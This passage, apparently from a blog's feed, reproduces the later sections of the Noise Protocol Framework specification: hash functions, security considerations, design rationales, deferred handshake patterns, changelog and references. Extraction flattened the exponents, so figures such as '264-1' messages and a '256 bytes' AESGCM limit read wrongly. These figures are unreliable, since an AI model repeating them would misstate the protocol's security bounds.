[9] with a 128-bit tag appended to the ciphertext. The 96-bit nonce is formed by encoding 32 bits of zeros followed by big-endian encoding of n.<br>12.5. The SHA256 hash function</p><p>HASH(input): SHA-256 from [10].<br>HASHLEN = 32<br>BLOCKLEN = 64<br>12.6. The SHA512 hash function</p><p>HASH(input): SHA-512 from [10].<br>HASHLEN = 64<br>BLOCKLEN = 128<br>12.7. The BLAKE2s hash function</p><p>HASH(input): BLAKE2s from [11] with digest length 32.<br>HASHLEN = 32<br>BLOCKLEN = 64<br>12.8. The BLAKE2b hash function</p><p>HASH(input): BLAKE2b from [11] with digest length 64.<br>HASHLEN = 64<br>BLOCKLEN = 128<br>13. Application responsibilities</p><p>An application built on Noise must consider several issues:</p><p>Choosing crypto functions: The 25519 DH functions are recommended for typical uses, though the 448 DH functions might offer extra security in case a cryptanalytic attack is developed against elliptic curve cryptography. The 448 DH functions should be used with a 512-bit hash like SHA512 or BLAKE2b. The 25519 DH functions may be used with a 256-bit hash like SHA256 or BLAKE2s, though a 512-bit hash might offer extra security in case a cryptanalytic attack is developed against the smaller hash functions. AESGCM is hard to implement with high speed and constant time in software.</p><p>Extensibility: Applications are recommended to use an extensible data format for the payloads of all messages (e.g. JSON, Protocol Buffers). This ensures that fields can be added in the future which are ignored by older implementations.</p><p>Padding: Applications are recommended to use a data format for the payloads of all encrypted messages that allows padding. This allows implementations to avoid leaking information about message sizes. Using an extensible data format, per the previous bullet, may be sufficient.</p><p>Session termination: Applications must consider that a sequence of Noise transport messages could be truncated by an attacker. Applications should include explicit length fields or termination signals inside of transport payloads to signal the end of an interactive session, or the end of a one-way stream of transport messages.</p><p>Length fields: Applications must handle any framing or additional length fields for Noise messages, considering that a Noise message may be up to 65535 bytes in length. If an explicit length field is needed, applications are recommended to add a 16-bit big-endian length field prior to each message.</p><p>Negotiation data: Applications might wish to support the transmission of some negotiation data prior to the handshake, and/or prior to each handshake message. Negotiation data could contain things like version information and identifiers for Noise protocols. For example, a simple approach would be to send a single-byte type field prior to each Noise handshake message. More flexible approaches might send extensible structures such as protobufs. Negotiation data introduces significant complexity and security risks such as rollback attacks (see next section).</p><ol start="14"><li>Security considerations</li></ol><p>This section collects various security considerations:</p><p>Authentication: A Noise protocol with static public keys verifies that the corresponding private keys are possessed by the participant(s), but it’s up to the application to determine whether the remote party’s static public key is acceptable. Methods for doing so include certificates which sign the public key (and which may be passed in handshake payloads), preconfigured lists of public keys, or “pinning” / “key-continuity” approaches where parties remember public keys they encounter and check whether the same party presents the same public key in the future.</p><p>Session termination: Preventing attackers from truncating a stream of transport messages is an application responsibility. See previous section.</p><p>Rollback: If parties decide on a Noise protocol based on some previous negotiation that is not included as prologue, then a rollback attack might be possible. This is a particular risk with compound protocols, and requires careful attention if a Noise handshake is preceded by communication between the parties.</p><p>Static key reuse: A static key pair used with Noise should be used with a single hash algorithm. The key pair should not be used outside of Noise, nor with multiple hash algorithms. It is acceptable to use the static key pair with different Noise protocols, provided the same hash algorithm is used in all of them. (Reusing a Noise static key pair outside of Noise would require extremely careful analysis to ensure the uses don’t compromise each other, and security proofs are preserved).</p><p>PSK reuse: A PSK used with Noise should be used with a single hash algorithm. The PSK should not be used outside of Noise, nor with multiple hash algorithms.</p><p>Ephemeral key reuse: Every party in a Noise protocol must send a fresh ephemeral public key prior to sending any encrypted data. Ephemeral keys must never be reused. Violating these rules is likely to cause catastrophic key reuse. This is one rationale behind the patterns in Section 7, and the validity rules in Section 7.3. It’s also the reason why one-way handshakes only allow transport messages from the sender, not the recipient.</p><p>Misusing public keys as secrets: It might be tempting to use a pattern with a pre-message public key and assume that a successful handshake implies the other party’s knowledge of the public key. Unfortunately, this is not the case, since setting public keys to invalid values might cause predictable DH output. For example, a Noise_NK_25519 initiator might send an invalid ephemeral public key to cause a known DH output of all zeros, despite not knowing the responder’s static public key. If the parties want to authenticate with a shared secret, it should be used as a PSK.</p><p>Channel binding: Depending on the DH functions, it might be possible for a malicious party to engage in multiple sessions that derive the same shared secret key by setting public keys to invalid values that cause predictable DH output (as in the previous bullet). It might also be possible to set public keys to equivalent values that cause the same DH output for different inputs. This is why a higher-level protocol should use the handshake hash (h) for a unique channel binding, instead of ck, as explained in Section 11.2.</p><p>Incrementing nonces: Reusing a nonce value for n with the same key k for encryption would be catastrophic. Implementations must carefully follow the rules for nonces. Nonces are not allowed to wrap back to zero due to integer overflow, and the maximum nonce value is reserved. This means parties are not allowed to send more than 264-1 transport messages.</p><p>Protocol names: The protocol name used with Initialize() must uniquely identify the combination of handshake pattern and crypto functions for every key it’s used with (whether ephemeral key pair, static key pair, or PSK). If the same secret key was reused with the same protocol name but a different set of cryptographic operations then bad interactions could occur.</p><p>Pre-shared symmetric keys: Pre-shared symmetric keys must be secret values with 256 bits of entropy.</p><p>Data volumes: The AESGCM cipher functions suffer a gradual reduction in security as the volume of data encrypted under a single key increases. Due to this, parties should not send more than 256 bytes (roughly 72 petabytes) encrypted by a single key. If sending such large volumes of data is a possibility then different cipher functions should be chosen.</p><p>Hash collisions: If an attacker can find hash collisions on prologue data or the handshake hash, they may be able to perform “transcript collision” attacks that trick the parties into having different views of handshake data. It is important to use Noise with collision-resistant hash functions, and replace the hash function at any sign of weakness.</p><p>Implementation fingerprinting: If this protocol is used in settings with anonymous parties, care should be taken that implementations behave identically in all cases. This may require mandating exact behavior for handling of invalid DH public keys.</p><ol start="15"><li>Rationales</li></ol><p>This section collects various design rationales.</p><p>15.1. Ciphers and encryption</p><p>Cipher keys and PSKs are 256 bits because:</p><p>256 bits is a conservative length for cipher keys when considering cryptanalytic safety margins, time/memory tradeoffs, multi-key attacks, rekeying, and quantum attacks.</p><p>Pre-shared key length is fixed to simplify testing and implementation, and to deter users from mistakenly using low-entropy passwords as pre-shared keys.</p><p>Nonces are 64 bits because:</p><p>Some ciphers only have 64 bit nonces (e.g. Salsa20).</p><p>64 bit nonces were used in the initial specification and implementations of ChaCha20, so Noise nonces can be used with these implementations.</p><p>64 bits makes it easy for the entire nonce to be treated as an integer and incremented.</p><p>96 bits nonces (e.g. in RFC 7539) are a confusing size where it’s unclear if random nonces are acceptable.</p><p>The authentication data in a ciphertext (i.e. the authentication tag or synthetic IV) is 128 bits because:</p><p>Some algorithms (e.g. GCM) lose more security than an ideal MAC when truncated.</p><p>Noise may be used in a wide variety of contexts, including where attackers can receive rapid feedback on whether guesses for authentication data are correct.</p><p>A single fixed length is simpler than supporting variable-length tags.</p><p>Ciphertexts are required to be indistinguishable from random because:</p><p>This makes Noise protocols easier to use with random padding (for length-hiding), or for censorship-resistant “unfingerprintable” protocols, or with steganography. However note that ephemeral keys are likely to be distinguishable from random unless a technique such as Elligator [5] is used.<br>Rekey defaults to using encryption with the nonce 264-1 because:</p><p>With AESGCM and ChaChaPoly rekey can be computed efficiently (the “encryption” just needs to apply the cipher, and can skip calculation of the authentication tag).<br>Rekey doesn’t reset n to zero because:</p><p>Leaving n unchanged is simple.</p><p>If the cipher has a weakness such that repeated rekeying gives rise to a cycle of keys, then letting n advance will avoid catastrophic reuse of the same k and n values.</p><p>Letting n advance puts a bound on the total number of encryptions that can be performed with a set of derived keys.</p><p>The AESGCM data volume limit is 256 bytes because:</p><p>This is 252 AES blocks (each block is 16 bytes). The limit is based on the risk of birthday collisions being used to rule out plaintext guesses. The probability an attacker could rule out a random guess on a 256 byte plaintext is less than 1 in 1 million (roughly (252 * 252) / 2128).<br>Cipher nonces are big-endian for AESGCM, and little-endian for ChaCha20, because:</p><p>ChaCha20 uses a little-endian block counter internally.</p><p>AES-GCM uses a big-endian block counter internally.</p><p>It makes sense to use consistent endianness in the cipher code.</p><p>15.2. Hash functions and hashing</p><p>The recommended hash function families are SHA2 and BLAKE2 because:</p><p>SHA2 is widely available and is often used alongside AES.</p><p>BLAKE2 is fast and similar to ChaCha20.</p><p>Hash output lengths of both 256 bits and 512 bits are supported because:</p><p>256-bit hashes provide sufficient collision resistance at the 128-bit security level.</p><p>The 256-bit hashes (SHA-256 and BLAKE2s) require less RAM, and less computation when processing smaller inputs (due to smaller block size), than SHA-512 and BLAKE2b.</p><p>SHA-256 and BLAKE2s are faster on 32-bit processors than the larger hashes, which use 64-bit operations internally.</p><p>The MixKey() design uses HKDF because:</p><p>HKDF is well-known and HKDF “chains” are used in similar ways in other protocols (e.g. Signal, IPsec, TLS 1.3).</p><p>HKDF has a published analysis [12].</p><p>HKDF applies multiple layers of hashing between each MixKey() input. This “extra” hashing might mitigate the impact of hash function weakness.</p><p>HMAC is used with all hash functions instead of allowing hashes to use a more specialized function (e.g. keyed BLAKE2), because:</p><p>HKDF requires the use of HMAC, and some of the HKDF analysis in [12] depends on the nested structure of HMAC.</p><p>HMAC is widely used with Merkle-Damgard hashes such as SHA2. SHA3 candidates such as Keccak and BLAKE were required to be suitable with HMAC. Thus, HMAC should be applicable to all widely-used hash functions.</p><p>HMAC applies nested hashing to process each input. This “extra” hashing might mitigate the impact of hash function weakness.</p><p>HMAC (and HKDF) are widely-used constructions. If some weakness is found in a hash function, cryptanalysts will likely analyze that weakness in the context of HMAC and HKDF.</p><p>Applying HMAC consistently is simple, and avoids having custom designs with different cryptanalytic properties when using different hash functions.</p><p>HMAC is easy to build on top of a hash function interface. If a more specialized function (e.g. keyed BLAKE2) can’t be implemented using only the underlying hash, then it is not guaranteed to be available everywhere the hash function is available.</p><p>MixHash() is used instead of sending all inputs directly through MixKey() because:</p><p>MixHash() is more efficient than MixKey().</p><p>MixHash() produces a non-secret h value that might be useful to higher-level protocols, e.g. for channel-binding.</p><p>The h value hashes handshake ciphertext instead of plaintext because:</p><p>This ensures h is a non-secret value that can be used for channel-binding or other purposes without leaking secret information.</p><p>This provides stronger guarantees against ciphertext malleability.</p><p>15.3. Other</p><p>Big-endian length fields are recommended because:</p><p>Length fields are likely to be handled by parsing code where big-endian “network byte order” is traditional.</p><p>Some ciphers use big-endian internally (e.g. GCM, SHA2).</p><p>While it’s true that Curve25519, Curve448, and ChaCha20/Poly1305 use little-endian, these will likely be handled by specialized libraries, so there’s not a strong argument for aligning with them.</p><p>Session termination is left to the application because:</p><p>Providing a termination signal in Noise doesn’t help the application much, since the application still has to use the signal correctly.</p><p>For an application with its own termination signal, having a second termination signal in Noise is likely to be confusing rather than helpful.</p><p>Explicit random nonces (like TLS “Random” fields) are not used because:</p><p>One-time ephemeral public keys make explicit nonces unnecessary.</p><p>Explicit nonces allow reuse of ephemeral public keys. However reusing ephemerals (with periodic replacement) is more complicated, requires a secure time source, is less secure in case of ephemeral compromise, and only provides a small optimization, since key generation can be done for a fraction of the cost of a DH operation.</p><p>Explicit nonces increase message size.</p><p>Explicit nonces make it easier to “backdoor” crypto implementations, e.g. by modifying the RNG so that key recovery data is leaked through the nonce fields.</p><ol start="16"><li>IPR</li></ol><p>The Noise specification (this document) is hereby placed in the public domain.</p><ol start="17"><li>Acknowledgements</li></ol><p>Noise is inspired by:</p><p>The NaCl and CurveCP protocols from Dan Bernstein et al [13], [14].<br>The SIGMA and HOMQV protocols from Hugo Krawczyk [15], [16].<br>The Ntor protocol from Ian Goldberg et al [17].<br>The analysis of OTR by Mario Di Raimondo et al [18].<br>The analysis by Caroline Kudla and Kenny Paterson of “Protocol 4” by Simon Blake-Wilson et al [19], [20].<br>Mike Hamburg’s proposals for a sponge-based protocol framework, which led to STROBE [21], [22].<br>The KDF chains used in the Double Ratchet Algorithm [23].<br>General feedback on the spec and design came from: Moxie Marlinspike, Jason Donenfeld, Rhys Weatherley, Mike Hamburg, David Wong, Jake McGinty, Tiffany Bennett, Jonathan Rudenberg, Stephen Touset, Tony Arcieri, Alex Wied, Alexey Ermishkin, Olaoluwa Osuntokun, Karthik Bhargavan, and Nadim Kobeissi.</p><p>Helpful editorial feedback came from: Tom Ritter, Karthik Bhargavan, David Wong, Klaus Hartke, Dan Burkert, Jake McGinty, Yin Guanhao, Nazar Mokrynskyi, Keziah Elis Biermann, Justin Cormack, Katriel Cohn-Gordon, and Nadim Kobeissi.</p><p>Helpful input and feedback on the key derivation design came from: Moxie Marlinspike, Hugo Krawczyk, Samuel Neves, Christian Winnerlein, J.P. Aumasson, and Jason Donenfeld.</p><p>The PSK approach was largely motivated and designed by Jason Donenfeld, based on his experience with PSKs in WireGuard.</p><p>The deferred patterns resulted from discussions with Justin Cormack. The pattern derivation rules in the Appendix are also from Justin Cormack.</p><p>The security properties table for deferred patterns was derived by the Noise Explorer tool, from Nadim Kobeissi.</p><p>The rekey design benefited from discussions with Rhys Weatherley, Alexey Ermishkin, and Olaoluwa Osuntokun.</p><p>The BLAKE2 team (in particular J.P. Aumasson, Samuel Neves, and Zooko) provided helpful discussion on using BLAKE2 with Noise.</p><p>Jeremy Clark, Thomas Ristenpart, and Joe Bonneau gave feedback on earlier versions.</p><ol start="18"><li>Appendices</li></ol><p>18.1. Deferred patterns</p><p>The following table lists all 23 deferred handshake patterns in the right column, with their corresponding fundamental handshake pattern in the left column. See Section 7 for an explanation of fundamental and deferred patterns.</p><p>NK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> NK1:<br> <- s<br> …<br> -> e<br> <- e, ee, es<br>NX:<br> -> e<br> <- e, ee, s, es<br> NX1:<br> -> e<br> <- e, ee, s<br> -> es<br>XN:<br> -> e<br> <- e, ee<br> -> s, se<br> X1N:<br> -> e<br> <- e, ee<br> -> s<br> <- se<br>XK:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> s, se<br> X1K:<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> s<br> <- se</p><pre><code>XK1: <- s ... -> e <- e, ee, es -> s, seX1K1: <- s ... -> e <- e, ee, es -> s <- se</code></pre><p>XX:<br> -> e<br> <- e, ee, s, es<br> -> s, se<br> X1X:<br> -> e<br> <- e, ee, s, es<br> -> s<br> <- se</p><pre><code>XX1: -> e <- e, ee, s -> es, s, seX1X1: -> e <- e, ee, s -> es, s <- se</code></pre><p>KN:<br> -> s<br> …<br> -> e<br> <- e, ee, se<br> K1N:<br> -> s<br> …<br> -> e<br> <- e, ee<br> -> se<br>KK:<br> -> s<br> <- s<br> …<br> -> e, es, ss<br> <- e, ee, se<br> K1K:<br> -> s<br> <- s<br> …<br> -> e, es<br> <- e, ee<br> -> se</p><pre><code>KK1: -> s <- s ... -> e <- e, ee, se, esK1K1: -> s <- s ... -> e <- e, ee, es -> se</code></pre><p>KX:<br> -> s<br> …<br> -> e<br> <- e, ee, se, s, es<br> K1X:<br> -> s<br> …<br> -> e<br> <- e, ee, s, es<br> -> se</p><pre><code>KX1: -> s ... -> e <- e, ee, se, s -> esK1X1: -> s ... -> e <- e, ee, s -> se, es</code></pre><p>IN:<br> -> e, s<br> <- e, ee, se<br> I1N:<br> -> e, s<br> <- e, ee<br> -> se<br>IK:<br> <- s<br> …<br> -> e, es, s, ss<br> <- e, ee, se<br> I1K:<br> <- s<br> …<br> -> e, es, s<br> <- e, ee<br> -> se</p><pre><code>IK1: <- s ... -> e, s <- e, ee, se, esI1K1: <- s ... -> e, s <- e, ee, es -> se</code></pre><p>IX:<br> -> e, s<br> <- e, ee, se, s, es<br> I1X:<br> -> e, s<br> <- e, ee, s, es<br> -> se</p><pre><code>IX1: -> e, s <- e, ee, se, s -> esI1X1: -> e, s <- e, ee, s -> se, es</code></pre><p>18.2. Security properties for deferred patterns</p><p>The following table lists the the security properties for the Noise handshake and transport payloads for all the deferred patterns in the previous section. The security properties are labelled using the notation from Section 7.7.</p><pre><code>Source Destination</code></pre><p>NK1<br> <- s<br> …<br> -> e 0 0<br> <- e, ee, es 2 1<br> -> 0 5<br>NX1<br> -> e 0 0<br> <- e, ee, s 0 1<br> -> es 0 3<br> -> 2 1<br> <- 0 5<br>X1N<br> -> e 0 0<br> <- e, ee 0 1<br> -> s 0 1<br> <- se 0 3<br> -> 2 1<br>X1K<br> <- s<br> …<br> -> e, es 0 2<br> <- e, ee 2 1<br> -> s 0 5<br> <- se 2 3<br> -> 2 5<br> <- 2 5<br>XK1<br> <- s<br> …<br> -> e 0 0<br> <- e, ee, es 2 1<br> -> s, se 2 5<br> <- 2 5<br>X1K1<br> <- s<br> …<br> -> e 0 0<br> <- e, ee, es 2 1<br> -> s 0 5<br> <- se 2 3<br> -> 2 5<br> <- 2 5<br>X1X<br> -> e 0 0<br> <- e, ee, s, es 2 1<br> -> s 0 5<br> <- se 2 3<br> -> 2 5<br> <- 2 5<br>XX1<br> -> e 0 0<br> <- e, ee, s 0 1<br> -> es, s, se 2 3<br> <- 2 5<br> -> 2 5<br>X1X1<br> -> e 0 0<br> <- e, ee, s 0 1<br> -> es, s 0 3<br> <- se 2 3<br> -> 2 5<br> <- 2 5<br>K1N<br> -> s<br> …<br> -> e 0 0<br> <- e, ee 0 1<br> -> se 2 1<br> <- 0 5<br>K1K<br> -> s<br> <- s<br> …<br> -> e, es 0 2<br> <- e, ee, se 2 1<br> -> se 2 5<br> <- 2 5<br>KK1<br> -> s<br> <- s<br> …<br> -> e 0 0<br> <- e, ee, se, es 2 3<br> -> 2 5<br> <- 2 5<br>K1K1<br> -> s<br> <- s<br> …<br> -> e 0 0<br> <- e, ee, es 2 1<br> -> se 2 5<br> <- 2 5<br>K1X<br> -> s<br> …<br> -> e 0 0<br> <- e, ee, s, es 2 1<br> -> se 2 5<br> <- 2 5<br>KX1<br> -> s<br> …<br> -> e 0 0<br> <- e, ee, se, s 0 3<br> -> es 2 3<br> <- 2 5<br> -> 2 5<br>K1X1<br> -> s<br> …<br> -> e 0 0<br> <- e, ee, s 0 1<br> -> se, es 2 3<br> <- 2 5<br> -> 2 5<br>I1N<br> -> e, s 0 0<br> <- e, ee 0 1<br> -> se 2 1<br> <- 0 5<br>I1K<br> <- s<br> …<br> -> e, es, s 0 2<br> <- e, ee 2 1<br> -> se 2 5<br> <- 2 5<br>IK1<br> <- s<br> …<br> -> e, s 0 0<br> <- e, ee, se, es 2 3<br> -> 2 5<br> <- 2 5<br>I1K1<br> <- s<br> …<br> -> e, s 0 0<br> <- e, ee, es 2 1<br> -> se 2 5<br> <- 2 5<br>I1X<br> -> e, s 0 0<br> <- e, ee, s, es 2 1<br> -> se 2 5<br> <- 2 5<br>IX1<br> -> e, s 0 0<br> <- e, ee, se, s 0 3<br> -> es 2 3<br> <- 2 5<br> -> 2 5<br>I1X1<br> -> e, s 0 0<br> <- e, ee, s 0 1<br> -> se, es 2 3<br> <- 2 5<br> -> 2 5<br>18.3. Pattern derivation rules</p><p>The following rules were used to derive the one-way, fundamental, and deferred handshake patterns.</p><p>First, populate the pre-message contents as defined by the pattern name.</p><p>Next populate the initiator’s first message by applying the first rule from the below table which matches. Then delete the matching rule and repeat this process until no more rules can be applied. If this is a one-way pattern, it is now complete.</p><p>Otherwise, populate the responder’s first message in the same way. Once no more responder rules can be applied, then switch to the initiator’s next message and repeat this process, switching messages until no more rules can be applied by either party.</p><p>Initiator rules:</p><p>Send “e”.<br>Perform “ee” if “e” has been sent, and received.<br>Perform “se” if “s” has been sent, and “e” received. If initiator authentication is deferred, skip this rule for the first message in which it applies, then mark the initiator authentication as non-deferred.<br>Perform “es” if “e” has been sent, and “s” received. If responder authentication is deferred, skip this rule for the first message in which it applies, then mark the responder authentication as non-deferred.<br>Perform “ss” if “s” has been sent, and received, and “es” has been performed, and this is the first message, and initiator authentication is not deferred.<br>Send “s” if this is the first message and initiator is “I” or one-way “X”.<br>Send “s” if this is not the first message and initiator is “X”.<br>Responder rules:</p><p>Send “e”.<br>Perform “ee” if “e” has been sent, and received.<br>Perform “se” if “e” has been sent, and “s” received. If initiator authentication is deferred, skip this rule for the first message in which it applies, then mark the initiator authentication as non-deferred.<br>Perform “es” if “s” has been sent, and “e” received. If responder authentication is deferred, skip this rule for the first message in which it applies, then mark the responder authentication as non-deferred.<br>Send “s” if responder is “X”.<br>18.4. Change log</p><p>Revision 34:</p><p>Added official/unstable marking; the unstable only refers to the new deferred patterns, the rest of this document is considered stable.</p><p>Clarified DH() definition so that the identity element is an invalid value (not a generator), thus may be rejected.</p><p>Clarified ciphertext-indistinguishability requirement for AEAD schemes and added a rationale.</p><p>Clarified the order of hashing pre-message public keys.</p><p>Rewrote handshake patterns explanation for clarity.</p><p>Added new validity rule to disallow repeating the same DH operation.</p><p>Clarified the complex validity rule regarding ephemeral keys and key re-use.</p><p>Removed parenthesized list of keys from pattern notation, as it was redundant.</p><p>Added deferred patterns.</p><p>Renamed “Authentication” and “Confidentiality” security properties to “Source” and “Destination” to avoid confusion.</p><p>[SECURITY] Added a new identity-hiding property, and changed identity-hiding property 3 to discuss an identity equality-check attack.</p><p>Replaced “fallback patterns” concept with Bob-initiated pattern notation.</p><p>Rewrote section on compound protocols and pipes for clarity, including clearer distinction between “switch protocol” and “fallback patterns”.</p><p>De-emphasized “type byte” suggestion, and added a more general discussion of negotiation data.</p><p>[SECURITY] Added security considerations regarding static key reuse and PSK reuse.</p><p>Added pattern derivation rules to Appendix.</p><ol start="19"><li>References</li></ol><p>[1] P. Rogaway, “Authenticated-encryption with Associated-data,” in Proceedings of the 9th ACM Conference on Computer and Communications Security, 2002. <a href="http://web.cs.ucdavis.edu/~rogaway/papers/ad.pdf" target="_blank" rel="noopener">http://web.cs.ucdavis.edu/~rogaway/papers/ad.pdf</a></p><p>[2] Okamoto, Tatsuaki and Pointcheval, David, “The Gap-Problems: A New Class of Problems for the Security of Cryptographic Schemes,” in Proceedings of the 4th International Workshop on Practice and Theory in Public Key Cryptography: Public Key Cryptography, 2001. <a href="https://www.di.ens.fr/~pointche/Documents/Papers/2001_pkc.pdf" target="_blank" rel="noopener">https://www.di.ens.fr/~pointche/Documents/Papers/2001_pkc.pdf</a></p><p>[3] H. Krawczyk, M. Bellare, and R. Canetti, “HMAC: Keyed-Hashing for Message Authentication.” Internet Engineering Task Force; RFC 2104 (Informational); IETF, Feb-1997. <a href="http://www.ietf.org/rfc/rfc2104.txt" target="_blank" rel="noopener">http://www.ietf.org/rfc/rfc2104.txt</a></p><p>[4] H. Krawczyk and P. Eronen, “HMAC-based Extract-and-Expand Key Derivation Function (HKDF).” Internet Engineering Task Force; RFC 5869 (Informational); IETF, May-2010. <a href="http://www.ietf.org/rfc/rfc5869.txt" target="_blank" rel="noopener">http://www.ietf.org/rfc/rfc5869.txt</a></p><p>[5] D. J. Bernstein, M. Hamburg, A. Krasnova, and T. Lange, “Elligator: Elliptic-curve points indistinguishable from uniform random strings.” Cryptology ePrint Archive, Report 2013/325, 2013. <a href="http://eprint.iacr.org/2013/325" target="_blank" rel="noopener">http://eprint.iacr.org/2013/325</a></p><p>[6] Markku-Juhani O. Saarinen, “Beyond Modes: Building a Secure Record Protocol from a Cryptographic Sponge Permutation.” Cryptology ePrint Archive, Report 2013/772, 2013. <a href="http://eprint.iacr.org/2013/772" target="_blank" rel="noopener">http://eprint.iacr.org/2013/772</a></p><p>[7] A. Langley, M. Hamburg, and S. Turner, “Elliptic Curves for Security.” Internet Engineering Task Force; RFC 7748 (Informational); IETF, Jan-2016. <a href="http://www.ietf.org/rfc/rfc7748.txt" target="_blank" rel="noopener">http://www.ietf.org/rfc/rfc7748.txt</a></p><p>[8] Y. Nir and A. Langley, “ChaCha20 and Poly1305 for IETF Protocols.” Internet Engineering Task Force; RFC 7539 (Informational); IETF, May-2015. <a href="http://www.ietf.org/rfc/rfc7539.txt" target="_blank" rel="noopener">http://www.ietf.org/rfc/rfc7539.txt</a></p><p>[9] M. J. Dworkin, “SP 800-38D. Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC,” National Institute of Standards & Technology, Gaithersburg, MD, United States, 2007. <a href="http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf" target="_blank" rel="noopener">http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf</a></p><p>[10] NIST, “FIPS 180-4. Secure Hash Standard (SHS),” National Institute of Standards & Technology, Gaithersburg, MD, United States, 2012. <a href="http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf" target="_blank" rel="noopener">http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf</a></p><p>[11] M.-J. Saarinen and J.-P. Aumasson, “The BLAKE2 Cryptographic Hash and Message Authentication Code (MAC).” Internet Engineering Task Force; RFC 7693 (Informational); IETF, Nov-2015. <a href="http://www.ietf.org/rfc/rfc7693.txt" target="_blank" rel="noopener">http://www.ietf.org/rfc/rfc7693.txt</a></p><p>[12] H. Krawczyk, “‘Cryptographic extraction and key derivation: The hkdf scheme’.” Cryptology ePrint Archive, Report 2010/264, 2010. <a href="http://eprint.iacr.org/2010/264" target="_blank" rel="noopener">http://eprint.iacr.org/2010/264</a></p><p>[13] D. J. Bernstein, T. Lange, and P. Schwabe, “NaCl: Networking and Cryptography Library.”. <a href="https://nacl.cr.yp.to/" target="_blank" rel="noopener">https://nacl.cr.yp.to/</a></p><p>[14] D. J. Bernstein, “CurveCP: Usable security for the Internet.”. <a href="https://curvecp.org" target="_blank" rel="noopener">https://curvecp.org</a></p><p>[15] H. Krawczyk, “SIGMA: The ‘SIGn-and-MAc’ Approach to Authenticated Diffie-Hellman and Its Use in the IKE Protocols,” in Advances in Cryptology - CRYPTO 2003, 2003. <a href="http://webee.technion.ac.il/~hugo/sigma.html" target="_blank" rel="noopener">http://webee.technion.ac.il/~hugo/sigma.html</a></p><p>[16] S. Halevi and H. Krawczyk, “One-Pass HMQV and Asymmetric Key-Wrapping.” Cryptology ePrint Archive, Report 2010/638, 2010. <a href="http://eprint.iacr.org/2010/638" target="_blank" rel="noopener">http://eprint.iacr.org/2010/638</a></p><p>[17] I. Goldberg, D. Stebila, and B. Ustaoglu, “Anonymity and One-way Authentication in Key Exchange Protocols,” Design, Codes, and Cryptography, vol. 67, no. 2, May 2013. <a href="http://cacr.uwaterloo.ca/techreports/2011/cacr2011-11.pdf" target="_blank" rel="noopener">http://cacr.uwaterloo.ca/techreports/2011/cacr2011-11.pdf</a></p><p>[18] M. Di Raimondo, R. Gennaro, and H. Krawczyk, “Secure Off-the-record Messaging,” in Proceedings of the 2005 ACM Workshop on Privacy in the Electronic Society, 2005. <a href="http://www.dmi.unict.it/diraimondo/web/wp-content/uploads/papers/otr.pdf" target="_blank" rel="noopener">http://www.dmi.unict.it/diraimondo/web/wp-content/uploads/papers/otr.pdf</a></p><p>[19] C. Kudla and K. G. Paterson, “Modular Security Proofs for Key Agreement Protocols,” in Advances in Cryptology - ASIACRYPT 2005: 11th International Conference on the Theory and Application of Cryptology and Information Security, 2005. <a href="http://www.isg.rhul.ac.uk/~kp/ModularProofs.pdf" target="_blank" rel="noopener">http://www.isg.rhul.ac.uk/~kp/ModularProofs.pdf</a></p><p>[20] S. Blake-Wilson, D. Johnson, and A. Menezes, “Key agreement protocols and their security analysis,” in Crytography and Coding: 6th IMA International Conference Cirencester, UK, December 17–19, 1997 Proceedings, 1997. <a href="http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.25.387" target="_blank" rel="noopener">http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.25.387</a></p><p>[21] M. Hamburg, “Key Exchange and DuplexWrap-like protocols.” <a href="mailto:[email protected]">[email protected]</a> Mailing List, 2015. <a href="https://moderncrypto.org/mail-archive/noise/2015/000098.html" target="_blank" rel="noopener">https://moderncrypto.org/mail-archive/noise/2015/000098.html</a></p><p>[22] Mike Hamburg, “The STROBE protocol framework.” Cryptology ePrint Archive, Report 2017/003, 2017. <a href="http://eprint.iacr.org/2017/003" target="_blank" rel="noopener">http://eprint.iacr.org/2017/003</a></p><p>[23] T. Perrin and M. Marlinspike, “The Double Ratchet Algorithm,” 2016. <a href="https://whispersystems.org/docs/specifications/doubleratchet/" target="_blank" rel="noopener">https://whispersystems.org/docs/specifications/doubleratchet/</a></p>]]></content>
<summary type="html">
<p><a href="http://www.noiseprotocol.org/noise.html" target="_blank" rel="noopener">http://www.noiseprotocol.org/noise.html</a></p>
<p>谷歌翻译,
</summary>
</entry>
<entry>
<title>IPsec学习笔记</title>
<link href="https://iwannatobehappy.github.io/2019/11/27/IPsec%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<id>https://iwannatobehappy.github.io/2019/11/27/IPsec%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
<published>2019-11-27T08:38:12.000Z</published>
<updated>2020-04-10T06:47:04.402Z</updated>
